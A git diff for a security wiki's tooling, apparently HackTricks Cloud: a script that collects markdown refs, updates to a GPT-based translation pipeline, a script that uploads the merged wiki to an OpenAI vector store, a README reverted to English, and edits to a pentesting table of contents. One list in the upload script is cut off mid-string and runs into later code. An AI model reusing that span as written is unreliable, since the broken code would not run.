38
scripts/get_and_save_refs.py
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def main():
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
refs = extract_refs(content)
|
||||
refs_per_path[rel] = refs # keep order from findall
|
||||
|
||||
|
||||
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
|
||||
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -12,15 +12,25 @@ from tqdm import tqdm #pip3 install tqdm
|
||||
import traceback
|
||||
|
||||
|
||||
|
||||
MASTER_BRANCH = "master"
|
||||
VERBOSE = True
|
||||
MAX_TOKENS = 10000 #gpt-4-1106-preview
|
||||
MAX_TOKENS = 50000 #gpt-4-1106-preview
|
||||
DISALLOWED_SPECIAL = "<|endoftext|>"
|
||||
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
|
||||
|
||||
def _sanitize(text: str) -> str:
|
||||
"""
|
||||
Replace the reserved tiktoken token with a harmless placeholder.
|
||||
Called everywhere a string can flow into tiktoken.encode() or the
|
||||
OpenAI client.
|
||||
"""
|
||||
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
|
||||
|
||||
def reportTokens(prompt, model):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
|
||||
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
prompt = _sanitize(prompt)
|
||||
return len(encoding.encode(prompt))
|
||||
|
||||
|
||||
@@ -36,35 +46,37 @@ def get_branch_files(branch):
|
||||
files = result.stdout.decode().splitlines()
|
||||
return set(files)
|
||||
|
||||
def delete_unique_files(branch):
|
||||
def get_unused_files(branch):
|
||||
"""Delete files that are unique to branch2."""
|
||||
# Get the files in each branch
|
||||
files_branch1 = get_branch_files(MASTER_BRANCH)
|
||||
files_branch2 = get_branch_files(branch)
|
||||
files_branch_master = get_branch_files(MASTER_BRANCH)
|
||||
files_branch_lang = get_branch_files(branch)
|
||||
|
||||
# Find the files that are in branch2 but not in branch1
|
||||
unique_files = files_branch2 - files_branch1
|
||||
unique_files = files_branch_lang - files_branch_master
|
||||
|
||||
if unique_files:
|
||||
# Switch to the second branch
|
||||
subprocess.run(["git", "checkout", branch])
|
||||
|
||||
# Delete the unique files from the second branch
|
||||
for file in unique_files:
|
||||
subprocess.run(["git", "rm", file])
|
||||
|
||||
subprocess.run(["git", "checkout", MASTER_BRANCH])
|
||||
|
||||
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
|
||||
return unique_files
|
||||
|
||||
|
||||
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
|
||||
"""
|
||||
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
|
||||
Also remove all the files that are not in the master branch.
|
||||
"""
|
||||
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
|
||||
# If branch doesn't exist, create it
|
||||
if branch_exists.returncode != 0:
|
||||
subprocess.run(['git', 'checkout', '-b', branch])
|
||||
else:
|
||||
subprocess.run(['git', 'checkout', branch])
|
||||
|
||||
# Get files to delete
|
||||
files_to_delete = get_unused_files(branch)
|
||||
|
||||
# Delete files
|
||||
for file in files_to_delete:
|
||||
os.remove(file)
|
||||
print(f"[+] Deleted {file}")
|
||||
|
||||
# Walk through source directory
|
||||
for dirpath, dirnames, filenames in os.walk(temp_folder):
|
||||
@@ -79,32 +91,72 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
|
||||
for file_name in filenames:
|
||||
src_file = os.path.join(dirpath, file_name)
|
||||
shutil.copy2(src_file, dest_path)
|
||||
|
||||
print(f"Translated files copied to branch: {branch}")
|
||||
if not "/images/" in src_file and not "/theme/" in src_file:
|
||||
print(f"[+] Copied from {src_file} to {file_name}")
|
||||
|
||||
if translate_files:
|
||||
subprocess.run(['git', 'add', "-A"])
|
||||
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
|
||||
subprocess.run(['git', 'checkout', MASTER_BRANCH])
|
||||
print("Commit created and moved to master branch")
|
||||
commit_and_push(translate_files, branch)
|
||||
else:
|
||||
print("No commiting anything, leaving in language branch")
|
||||
|
||||
def commit_and_push(translate_files, branch):
|
||||
# Define the commands we want to run
|
||||
commands = [
|
||||
['git', 'add', '-A'],
|
||||
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
|
||||
['git', 'push', '--set-upstream', 'origin', branch],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# Print stdout and stderr (if any)
|
||||
if result.stdout:
|
||||
print(f"STDOUT for {cmd}:\n{result.stdout}")
|
||||
if "nothing to commit" in result.stdout.lower():
|
||||
print("Nothing to commit, leaving")
|
||||
exit(0)
|
||||
|
||||
if result.stderr:
|
||||
print(f"STDERR for {cmd}:\n{result.stderr}")
|
||||
|
||||
# Check for errors
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Command `{cmd}` failed with exit code {result.returncode}"
|
||||
)
|
||||
|
||||
print("Commit created and pushed")
|
||||
|
||||
|
||||
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
|
||||
if not text:
|
||||
return text
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
|
||||
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
|
||||
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
|
||||
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
|
||||
|
||||
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
|
||||
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
|
||||
- Don't translate or modify tags, links, refs and paths like in:
|
||||
- {{#tabs}}
|
||||
- {{#tab name="Method1"}}
|
||||
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
|
||||
- {{#include ./banners/hacktricks-training.md}}
|
||||
- {{#ref}}macos-tcc-bypasses/{{#endref}}
|
||||
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
|
||||
- Don't translate any other tag, just return markdown and html content as is.
|
||||
|
||||
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
|
||||
{"role": "user", "content": text},
|
||||
]
|
||||
try:
|
||||
response = client.chat.completions.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=0
|
||||
temperature=1 # 1 because gpt-5 doesn't support other
|
||||
)
|
||||
except Exception as e:
|
||||
print("Python Exception: " + str(e))
|
||||
@@ -149,6 +201,9 @@ def translate_text(language, text, file_path, model, cont=0, slpitted=False, cli
|
||||
return translate_text(language, text, file_path, model, cont, False, client)
|
||||
|
||||
response_message = response.choices[0].message.content.strip()
|
||||
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
|
||||
response_message = response_message.replace("Bypassy", "Bypasses")
|
||||
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
|
||||
|
||||
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
|
||||
cont2 = 0
|
||||
@@ -170,9 +225,11 @@ def split_text(text, model):
|
||||
chunks = []
|
||||
chunk = ''
|
||||
in_code_block = False
|
||||
in_ref = False
|
||||
|
||||
for line in lines:
|
||||
# If we are in a code block, just add the code to the chunk
|
||||
|
||||
# Keep code blocks as one chunk
|
||||
if line.startswith('```'):
|
||||
|
||||
# If we are in a code block, finish it with the "```"
|
||||
@@ -188,8 +245,24 @@ def split_text(text, model):
|
||||
chunk += line + '\n'
|
||||
|
||||
continue
|
||||
|
||||
"""
|
||||
Prevent refs using `` like:
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
||||
{{#endref}}
|
||||
"""
|
||||
if line.startswith('{{#ref}}'):
|
||||
in_ref = True
|
||||
|
||||
if in_ref:
|
||||
line = line.replace("`", "")
|
||||
|
||||
if line.startswith('{{#endref}}'):
|
||||
in_ref = False
|
||||
|
||||
|
||||
# If new section, see if we should be splitting the text
|
||||
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
|
||||
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
|
||||
|
||||
@@ -202,23 +275,30 @@ def split_text(text, model):
|
||||
return chunks
|
||||
|
||||
|
||||
def copy_gitbook_dir(source_path, dest_path):
|
||||
folder_name = ".gitbook/"
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the .gitbook folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
|
||||
def copy_dirs(source_path, dest_path, folder_names):
|
||||
for folder_name in folder_names:
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the theme folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
|
||||
|
||||
def copy_summary(source_path, dest_path):
|
||||
file_name = "src/SUMMARY.md"
|
||||
source_filepath = os.path.join(source_path, file_name)
|
||||
dest_filepath = os.path.join(dest_path, file_name)
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print("[+] Copied SUMMARY.md")
|
||||
def move_files_to_push(source_path, dest_path, relative_file_paths):
|
||||
for file_path in relative_file_paths:
|
||||
source_filepath = os.path.join(source_path, file_path)
|
||||
dest_filepath = os.path.join(dest_path, file_path)
|
||||
if not os.path.exists(source_filepath):
|
||||
print(f"Error: {source_filepath} does not exist.")
|
||||
else:
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print(f"[+] Copied {file_path}")
|
||||
|
||||
def copy_files(source_path, dest_path):
|
||||
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
|
||||
move_files_to_push(source_path, dest_path, file_names)
|
||||
|
||||
def translate_file(language, file_path, file_dest_path, model, client):
|
||||
global VERBOSE
|
||||
@@ -234,7 +314,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
translated_content = ''
|
||||
start_time = time.time()
|
||||
for chunk in content_chunks:
|
||||
# Don't trasnlate code blocks
|
||||
# Don't translate code blocks
|
||||
if chunk.startswith('```'):
|
||||
translated_content += chunk + '\n'
|
||||
else:
|
||||
@@ -248,9 +328,10 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
f.write(translated_content)
|
||||
|
||||
#if VERBOSE:
|
||||
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
|
||||
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
|
||||
|
||||
|
||||
"""
|
||||
def translate_directory(language, source_path, dest_path, model, num_threads, client):
|
||||
all_markdown_files = []
|
||||
for subdir, dirs, files in os.walk(source_path):
|
||||
@@ -280,17 +361,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
|
||||
tb = traceback.format_exc()
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
print("Traceback:", tb)
|
||||
|
||||
"""
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("- Version 1.1.1")
|
||||
print("- Version 2.0.0")
|
||||
# Set up argparse
|
||||
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
|
||||
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
|
||||
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
|
||||
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
|
||||
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
|
||||
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
|
||||
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
|
||||
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
|
||||
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
|
||||
@@ -345,7 +426,7 @@ if __name__ == "__main__":
|
||||
translate_files = None # Need to initialize it here to avoid error
|
||||
if args.file_paths:
|
||||
# Translate only the indicated file
|
||||
translate_files = [f for f in args.file_paths.split(' , ') if f]
|
||||
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
|
||||
for file_path in translate_files:
|
||||
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
|
||||
@@ -359,23 +440,21 @@ if __name__ == "__main__":
|
||||
#pbar.update()
|
||||
except Exception as exc:
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
|
||||
# Delete possibly removed files from the master branch
|
||||
delete_unique_files(branch)
|
||||
|
||||
elif args.directory:
|
||||
|
||||
#elif args.directory:
|
||||
# Translate everything
|
||||
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
|
||||
else:
|
||||
print("You need to indicate either a directory or a list of files to translate.")
|
||||
exit(1)
|
||||
exit(0)
|
||||
|
||||
# Copy summary
|
||||
copy_summary(source_folder, dest_folder)
|
||||
# Copy Summary
|
||||
copy_files(source_folder, dest_folder)
|
||||
|
||||
# Copy .gitbook folder
|
||||
copy_gitbook_dir(source_folder, dest_folder)
|
||||
folder_names = ["theme/", "src/images/"]
|
||||
copy_dirs(source_folder, dest_folder, folder_names)
|
||||
|
||||
# Create the branch and copy the translated files
|
||||
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)
|
||||
|
||||
297
scripts/upload_ht_to_ai.py
Normal file
297
scripts/upload_ht_to_ai.py
Normal file
@@ -0,0 +1,297 @@
|
||||
import os
|
||||
import requests
|
||||
import zipfile
|
||||
import tempfile
|
||||
import time
|
||||
import glob
|
||||
import re
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
# Initialize OpenAI client
|
||||
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
|
||||
|
||||
# Vector Store ID
|
||||
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 1: Download and Extract Markdown Files
|
||||
# --------------------------------------------------
|
||||
|
||||
def download_zip(url, save_path):
|
||||
print(f"Downloading zip from: {url}")
|
||||
response = requests.get(url)
|
||||
response.raise_for_status() # Ensure the download succeeded
|
||||
with open(save_path, "wb") as f:
|
||||
f.write(response.content)
|
||||
print(f"Downloaded zip from: {url}")
|
||||
|
||||
def extract_markdown_files(zip_path, extract_dir):
|
||||
print(f"Extracting zip: {zip_path} to {extract_dir}")
|
||||
with zipfile.ZipFile(zip_path, "r") as zip_ref:
|
||||
zip_ref.extractall(extract_dir)
|
||||
# Recursively find all .md files
|
||||
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
|
||||
|
||||
return md_files
|
||||
|
||||
# Repository URLs
|
||||
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
|
||||
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
|
||||
|
||||
# Temporary directory for downloads and extraction
|
||||
temp_dir = tempfile.mkdtemp()
|
||||
try:
|
||||
# Download zip archives
|
||||
print("Downloading Hacktricks repositories...")
|
||||
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
|
||||
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
|
||||
download_zip(hacktricks_url, hacktricks_zip)
|
||||
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
|
||||
|
||||
# Extract the markdown files
|
||||
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
|
||||
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
|
||||
|
||||
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
|
||||
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
|
||||
|
||||
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
|
||||
print(f"Found {len(all_md_files)} markdown files.")
|
||||
finally:
|
||||
# Optional cleanup of temporary files after processing
|
||||
# shutil.rmtree(temp_dir)
|
||||
pass
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 2: Remove All Existing Files in the Vector Store
|
||||
# --------------------------------------------------
|
||||
# List current files in the vector store and delete each one.
|
||||
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
|
||||
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
|
||||
|
||||
for file_obj in existing_files:
|
||||
# Delete the underlying file object; this removes it from the vector store.
|
||||
try:
|
||||
client.files.delete(file_id=file_obj.id)
|
||||
print(f"Deleted file: {file_obj.id}")
|
||||
time.sleep(1) # Give it a moment to ensure the deletion is processed
|
||||
except Exception as e:
|
||||
# Handle potential errors during deletion
|
||||
print(f"Error deleting file {file_obj.id}: {e}")
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 3: Clean markdown Files
|
||||
# ----------------------------------------------------
|
||||
# Clean markdown files and marge them so it's easier to
|
||||
# uplaod to the vector store.
|
||||
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
|
||||
break
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"### Start file: {file_name} ###\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"hacktricks-training.md",
|
||||
", "hacktricks.md")
|
||||
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
|
||||
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
|
||||
print(f"Merged content has been saved to: {ht_file}")
|
||||
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
|
||||
print(f"Merged content has been saved to: {htc_file}")
|
||||
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 4: Upload All Markdown Files to the Vector Store
|
||||
# ----------------------------------------------------
|
||||
# Upload two files to the vector store.
|
||||
# Uploading .md hacktricks files individually can be slow,
|
||||
# so thats why we merged it before into just 2 files.
|
||||
|
||||
file_streams = []
|
||||
|
||||
ht_stream = open(ht_file, "rb")
|
||||
file_streams.append(ht_stream)
|
||||
htc_stream = open(htc_file, "rb")
|
||||
file_streams.append(htc_stream)
|
||||
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
|
||||
time.sleep(60) # Sleep for a minute to ensure the upload is processed
|
||||
ht_stream.close()
|
||||
htc_stream.close()
|
||||
|
||||
|
||||
""""This was to upload each .md independently, wich turned out to be a nightmare
|
||||
# Ensure we don't exceed the maximum number of file streams
|
||||
|
||||
for file_path in all_md_files:
|
||||
# Check if we have reached the maximum number of streams
|
||||
if len(file_streams) >= 300:
|
||||
print("Reached maximum number of file streams (300). Uploading current batch...")
|
||||
# Upload the current batch before adding more files
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
# Clear the list for the next batch
|
||||
file_streams = []
|
||||
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
|
||||
try:
|
||||
stream = open(file_path, "rb")
|
||||
file_streams.append(stream)
|
||||
except Exception as e:
|
||||
print(f"Error opening {file_path}: {e}")
|
||||
|
||||
if file_streams:
|
||||
# Upload files and poll for completion
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
else:
|
||||
print("No markdown files to upload.")"
|
||||
|
||||
|
||||
# Close all file streams
|
||||
for stream in file_streams:
|
||||
stream.close()
|
||||
"""
|
||||
1
searchindex.js
Normal file
1
searchindex.js
Normal file
File diff suppressed because one or more lines are too long
@@ -4,9 +4,10 @@
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Логотипи та анімація Hacktricks створені_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Run HackTricks Cloud Locally
|
||||
|
||||
### Запустити HackTricks Cloud локально
|
||||
```bash
|
||||
# Download latest version of hacktricks cloud
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
|
||||
@@ -33,23 +34,24 @@ export LANG="master" # Leave master for English
|
||||
# Run the docker container indicating the path to the hacktricks-cloud folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
Ваша локальна копія HackTricks Cloud буде **доступна за адресою [http://localhost:3377](http://localhost:3377)** через хвилину.
|
||||
|
||||
### **Pentesting CI/CD Методологія**
|
||||
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
|
||||
|
||||
**У HackTricks CI/CD методології ви знайдете, як pentest інфраструктуру, пов'язану з CI/CD активностями.** Прочитайте наступну сторінку для **вступу:**
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Методологія
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**У HackTricks Cloud методології ви знайдете, як pentest cloud середовища.** Прочитайте наступну сторінку для **вступу:**
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### Ліцензія & Відмова від відповідальності
|
||||
### License & Disclaimer
|
||||
|
||||
**Перегляньте їх у:**
|
||||
**Check them in:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
@@ -58,3 +60,4 @@ docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
283
src/SUMMARY.md
283
src/SUMMARY.md
@@ -9,7 +9,6 @@
|
||||
# 🏭 Pentesting CI/CD
|
||||
|
||||
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
|
||||
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
|
||||
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
|
||||
- [Github Security](pentesting-ci-cd/github-security/README.md)
|
||||
@@ -42,7 +41,6 @@
|
||||
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
|
||||
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
|
||||
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
|
||||
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
|
||||
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
|
||||
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
|
||||
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
|
||||
@@ -57,7 +55,6 @@
|
||||
# ⛈️ Pentesting Cloud
|
||||
|
||||
